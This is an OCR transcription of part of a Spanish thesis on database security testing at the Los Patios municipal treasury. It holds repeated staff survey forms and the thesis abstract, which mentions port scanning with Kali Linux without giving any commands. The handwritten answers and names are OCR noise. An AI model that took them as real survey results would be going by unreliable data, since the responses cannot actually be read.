c. Vulneraciones a los sistemas de informacion O

5. Han existido acciones pertinentes por parte de la organizacién para combatir
este tipo de situaciones.

a. Si

b. No @
%ML ﬂ_)"//“-_—

Nev- 13 2014
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ESTUDIO DE SEGURIDAD EN LAS BASES DE DATOS, MEDIANTE
METODOLOGIAS DE PEN TEST, ETHICAL HACKING EN LA SECRETARIA DE
HACIENDA MUNICIPAL DE LOS PATIOS

Encuesta

ENTIDAD: Secretaria de Hacienda
NOMBRE FUNCIONARIO: ;9.& CaternA Roopicucez CH.
CARGO: PROFESIOMAL ONIWERSTTRAD — CasTHON-

1. En la Secretaria de Hacienda Municipal en |a Alcaldia del Municipio de Los
Patios se utiliza la metodologia Pen Test y Ethical Hacking

sl £
b.No O

2. Se han presentado obstaculos o dificultades en el desarrollo de procedimientos
conforme a la seguridad en |la base de datos.

asi &
b.No O

3. Desde su punto de vista profesional cree que es pertinente implementar una
serie de metodologias adecuadas para la seguridad en |la base de datos.

a. Si (D)
b.Noe OO

4. ;Qué tipo de falencias se han presentado en la institucién sobre la seguridad de
los datos?

a Amenazas (%)
b. Ataques informaticos ()
¢. Vulneraciones a los sistemas de informacion ()

5. Han existido acciones pertinentes por parte de la organizaciéon para combatir
este tipo de situaciones.

a. Si O
b.No O

;,gl«g C’Wf-fl""?;“j e,
o1y oMt
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ESTUDIO DE SEGURIDAD EN LAS BASES DE DATOS, MEDIANTE
METODOLOGIAS DE PEN TEST, ETHICAL HACKING EN LA SECRETARIA DE
HACIENDA MUNICIPAL DE LOS PATIOS

Encuesta

ENTIDAD: Secretaria de Hacienda F
NOMBRE FUNCIONARIO: e v F " D:« G\ c\ Ve lec Sc o _l
CARGO: ?u.: {Ph:c\-‘.cx! Ve vy ey <

1. En la Secretaria de Hacienda Municipal en la Alcaldia del Municipio de Los
Patios se utiliza la metodologia Pen Test y Ethical Hacking

asSi €3

b. No ®

2. Se han presentado obstaculos o dificultades en el desarrollo de procedimientos
conforme a la seguridad en la base de datos.

asi OO
b.No € )

3. Desde su punto de vista profesional cree que es pertinente implementar una
serie de metodologias adecuadas para |la seguridad en |la base de datos.

a. Si ®
b.No O

4. ;Qué tipo de falencias se han presentado en la institucion sobre la seguridad de
los datos?

a. Amenazas 2‘,
b. Ataques informaticos
c. Vulneraciones a los sistemas de informacion

5. Han existido acciones pertinentes por parte de la organizacién para combatir
este tipo de situaciones.

asi O
b.No GO

/)‘ \ ,_-\ ve/kde ©

v it 2ol?
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ESTUDIO DE SEGURIDAD EN LAS BASES DE DATOS, MEDIANTE
METODOLOGIAS DE PEN TEST, ETHICAL HACKING EN LA SECRETARIA DE
HACIENDA MUNICIPAL DE LOS PATIOS

Encuesta

ENTIDAD: Secretaria de Hacienda

NOMBRE FUNCIONARIO: RGO Yolfel) Pplescip Uelplrer
CARGO: seRetpdi\p

1. En la Secretaria de Hacienda Municipal en la Alcaldia del Municipio de Los
Patios se utiliza la metodologia Pen Test y Ethical Hacking

asi )
b.No

2. Se han presentado obstaculos o dificultades en el desarrollo de procedimientos
conforme a la seguridad en |a base de datos.

ags £
b.No

3. Desde su punto de vista profesional cree que es pertinente implementar una
serie de metodologias adecuadas para |la seguridad en |la base de datos.

asSi T
b.No N>

4. i Qué tipo de falencias se han presentado en la institucion sobre la seguridad de
los datos?

a. Amenazas N )(
b. Ataques informaticos  +__»
¢. Vulneraciones a los sistemas de informacién -~

5. Han existido acciones pertinentes por parte de la organizacién para combatir
este tipo de situaciones.

a. Si T
o

b. No Cp
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ESTUDIO DE SEGURIDAD EN LAS BASES DE DATOS, MEDIANTE
METODOLOGIAS DE PEN TEST, ETHICAL HACKING EN LA SECRETARIA DE
HACIENDA MUNICIPAL DE LOS PATIOS

Encuesta

ENTIDAD: Secretaria de Hacienda '
NOMBRE FUNCIONARIO: éus 74/"— “ /4 Lea

CARGO:  Feswrers.

1. En la Secretaria de Hacienda Municipal en la Alcaldia del Municipio de Los
Patios se utiliza la metodologia Pen Test y Ethical Hacking

asi O
b.No

2. Se han presentado obstaculos o dificultades en el desarrollo de procedimientos
conforme a la seguridad en |la base de datos.

a. Si s

b. No t-_-“i

Cilor).

Ne <cenoscoe.

3. Desde su punto de vista profesional cree que es pertinente implementar una
serie de metodologias adecuadas para la seguridad en la base de datos.

a. Si @
b. No l:)

4. . Qué tipo de falencias se han presentado en la institucién sobre la seguridad de
los datos?

a. Amenazas (30)
b. Ataques informaticos (7‘5;
¢. Vulneraciones a los sistemas de informacion o

5. Han existido acciones pertinentes por parte de la organizacién para combatir
este tipo de situaciones.

a. Si ri".
b.No

L

———

‘ /\,/:w nfn
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ESTUDIO DE SEGURIDAD EN LAS BASES DE DATOS, MEDIANTE
METODOLOGIAS DE PEN TEST, ETHICAL HACKING EN LA SECRETARIA DE
HACIENDA MUNICIPAL DE LOS PATIOS

Encuesta

ENTIDAD: Secretaria de Hacienda - / ;//
£ s z R i

NOMBRE FUNCIONARIO: (/s % /g prsan?e Pris

CARGO: remze patinr® BT

1. En la Secretaria de Hacienda Municipal en la Alcaldia del Municipio de Los
Patios se utiliza la metodologia Pen Test y Ethical Hacking

B )
b.No

2. Se han presentado obstaculos o dificultades en el desarrollo de procedimientos
conforme a la seguridad en la base de datos.

asi @
b.No OO

3. Desde su punto de vista profesional cree que es pertinente implementar una
serie de metodologias adecuadas para la seguridad en la base de datos.

a. Si ®
b.No O

4. ¢ Que tipo de falencias se han presentado en la institucién sobre la seguridad de
los datos?

a. Amenazas (D
b. Ataques informaticos ()
c. Vulneraciones a los sistemas de informacion O

5. Han existido acciones pertinentes por parte de la organizacion para combatir
este tipo de situaciones.

a. Si D

b.No D /// P ///
il /40/0 7 /i3
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ESTUDIO DE SEGURIDAD EN LAS BASES DE DATOS, MEDIANTE
METODOLOGIAS DE PEN TEST, ETHICAL HACKING EN LA SECRETARIA DE
HACIENDA MUNICIPAL DE LOS PATIOS

Encuesta

ENTIDAD: Secretaria de Hacienda
NOMBRE FUNCIONARIO: D un.  Carslmne Codotsw Colmeard
CARGO: Decetarin

1. En la Secretaria de Hacienda Municipal en la Alcaldia del Municipio de Los
Patios se utiliza |a metodologia Pen Test y Ethical Hacking

a. Si .0
b. No @

2. Se han presentado obstaculos o dificultades en el desarrollo de procedimientos
conforme a la seguridad en |la base de datos.

8 €

b. No X

3. Desde su punto de vista profesional cree que es pertinente implementar una
serie de metodologias adecuadas para la seguridad en la base de datos.

a. Si D

e

b.No CO

4. ; Qué tipo de falencias se han presentado en la institucion sobre la seguridad de
los datos?

a Amenazas X
b. Ataques informaticos
c. Vulneraciones a los sistemas de informacidn

5. Han existido acciones pertinentes por parte de la organizacion para combatir
este tipo de situaciones.

asi O
b.No CO

‘_D a C/Or&au*‘

Aot =1
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ESTUDIO DE SEGURIDAD EN LAS BASES DE DATOS, MEDIANTE
METODOLOGIAS DE PEN TEST, ETHICAL HACKING EN LA SECRETARIA DE
HACIENDA MUNICIPAL DE LOS PATIOS

Encuesta

ENTIDAD: Secretaria de Hacienda
NOMBRE FUNCIONARIO: LD (N tam D lrevce Corena
CARGO: Pf@{ - Qinivers H—cnf‘-é

1. En la Secretaria de Hacienda Municipal en la Alcaldia del Municipio de Los
Patios se utiliza la metodologia Pen Test y Ethical Hacking

8. Si )
b.No GO

2. Se han presentado obstaculos o dificultades en el desarrollo de procedimientos
conforme a la seguridad en la base de datos.

a. Si $3
b. No

3. Desde su punto de vista profesional cree que es pertinente implementar una
serie de metodologias adecuadas para la seguridad en |la base de datos.

a. Si @
bNo

4. ; Qué tipo de falencias se han presentado en la institucion sobre la seguridad de
los datos?

a. Amenazas
b. Ataques informaticos x
c. Vulneraciones a los sistemas de informacion

5. Han existido acciones pertinentes por parte de la organizacién para combatir
este tipo de situaciones.

a. Si O
b.No X

K

Nov 1+/¢
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2.018

RESUMEN

El siguiente Trabajo de Tesis hace referencia a el
control y seguimiento a las bases de datos
implementadas en la Secretaria de Hacienda,
Municipio de Los Patios, para lo cual se realizaron
pruebas de Ethical Hacking a los servidores que
almacenan la informacion en dicha entidad.

Para las pruebas se utilizo varios sistemas operativos
con la metodologia UNIX bajo LINUX, con software
sofisticado como lo es Kali

Linux que permite con cada una de las herramientas
internas hacer escaneo de puertos, pruebas de
penetracion 'y un numero significativo de
implementaciones logrando los objetivos de evitar
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vulnerabilidades que afecten los diferentes Sistemas
Operativos.

PALABRAS CLAVES

Bases de Datos-Ethical Hacking-Linux-Pruebas de
Penetracion-escaneo- puertos

CONTENIDOS

Rae - Indice general - indice de tablas y graficos —
Introduccidn - Justificacion - Definicion del
problema- Objetivos - Marco Tedrico — Metodologia
- Resultados y Discusioén - Conclusiones -
Recomendaciones — Referencias

DESCRIPCION DEL PROBLEMA

la Secretaria de Hacienda del municipio de Los
Patios, la cual tiene a su cargo ejecutar la estrategia
financiera para el plan de desarrollo econémico y
social, de acuerdo al marco fiscal de corto y mediano
plazo, la Secretaria de Hacienda esta expuesta a
amenazas de seguridad de la informacién, dada la
posibilidad de ocurrencia de cualquier evento que
pueda causar dafio (material o inmaterial) sobre
cualquier elemento del sistema. Desde el ambito
externo, esta entidad maneja datos sensibles y de
gran interés para la administracion municipal y para
los diferentes contribuyentes y deudores, por lo que
existen amenazas como agresiones técnicas,
naturales o humanas. A nivel interno, se han
identificado amenazas como la negligencia de los
funcionarios que manejan la informacion y los
equipos de cémputo, asi como otras condiciones

técnicas y fallas en los procesos operativos internos.

OBJETIVOS

OBJETIVO GENERAL: Realizar un estudio de
seguridad en las Bases de Datos, mediante
metodologias de Pen Test y Ethical Hacking en la
Secretaria de Hacienda Municipal de Los Patios

OBJETIVOS ESPECIFICOS:

e Identificar el estado actual de metodologias de
Pen Test y de Ethical Hacking para bases de datos
relacionales y no relacionales.

e Determinar las metodologias de Pen Test y de
Ethical Hacking a ser utilizadas.
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e Planear y realizar el diagnodstico de las bases de
datos de la Secretaria de Hacienda Municipal de Los
Patios.

e Aplicar las técnicas necesarias con las
metodologias Pen Test y Ethical Hacking, para
generar un buen desarrollo informatico en la

Secretaria de Hacienda Municipal de los Patios.

METODOLOGIA

Se utilizara un tipo de investigacion cuantitativo y
descriptivo para recopilar la informaciéon requerida
para el andlisis de la seguridad en las Bases de
Datos, mediante metodologias de Pen Test y Ethical
Hacking en la Secretaria de Hacienda Municipal de
Los Patios. La investigacion descriptiva permite
identificar las caracteristicas del universo de
investigacion. Este tipo de investigacion permite
identificar, procesar y analizar los datos que se
toman por diferentes medios, como la observacion
directa, la encuesta y las listas de chequeo, que son

muy utiles en este tipo de estudios.

PRINCIPALES REFERENTES TEORICOS

Amenazas Informaticas, Seguridad de |Ia
Informacion, metodologias de Pent Test y Ethical
Hacking.

PRINCIPALES REFERENTES CONCEPTUALES

Amenaza, Ataque Multi etapas, Confidencialidad,
Disponibilidad y elementos de Informacién.

RESULTADOS

- Para la obtencion de los resultados, se
aplico la encuesta como fuente primaria de
informacioén, la cual permite a través de
cuestionarios resolver las inquietudes que
se tienen del objeto de estudio.

- Para determinar el estado actual de las

bases de datos en la Secretaria de
Hacienda Municipal, se empled
herramientas de seguridad informatica
como KALI LINUX.

- En su desarrollo, se tenia como muestra y
poblacion el personal de la Secretaria de
Hacienda municipal de los Patios, los cuales

participaron activamente en la contestacion

88




de las preguntas de seleccién multiple,
relacionadas a los  conocimientos,
experiencias y habilidades que tienen en la
Entidad. De lo anterior, a continuacion, se
describe con graficas el porcentaje derivado

de cada pregunta.

CONCLUSIONES

1- Al resolver las encuestas con la tabulacion vy
analisis de cada pregunta que los funcionarios de la
Secretaria de Hacienda del municipio de los Patios
resolvieron, arrojando como resultados
inconvenientes en cuanto a la seguridad de la
informacion y teniendo un 67% de falencias frente al
tema de estudio. Demostrando la importancia y la
necesidad de haber presentado las metodologias de
Pen test y de Ethical hacking en la organizacion,
pues hasta la fecha no se habia desarrollado un
estudio similar.

2- Con las pruebas Ethical hacking en cada area de
la secretaria, teniendo como muestra fotografias que
permitieron vislumbrar el mal estado en que se
encontraban los servidores y el rack; con dicho
analisis realizado a los servidores web, se logré
identificar cada uno de los puertos por medio de un
escaneo con herramientas sofisticadas para la

seguridad Informatica.
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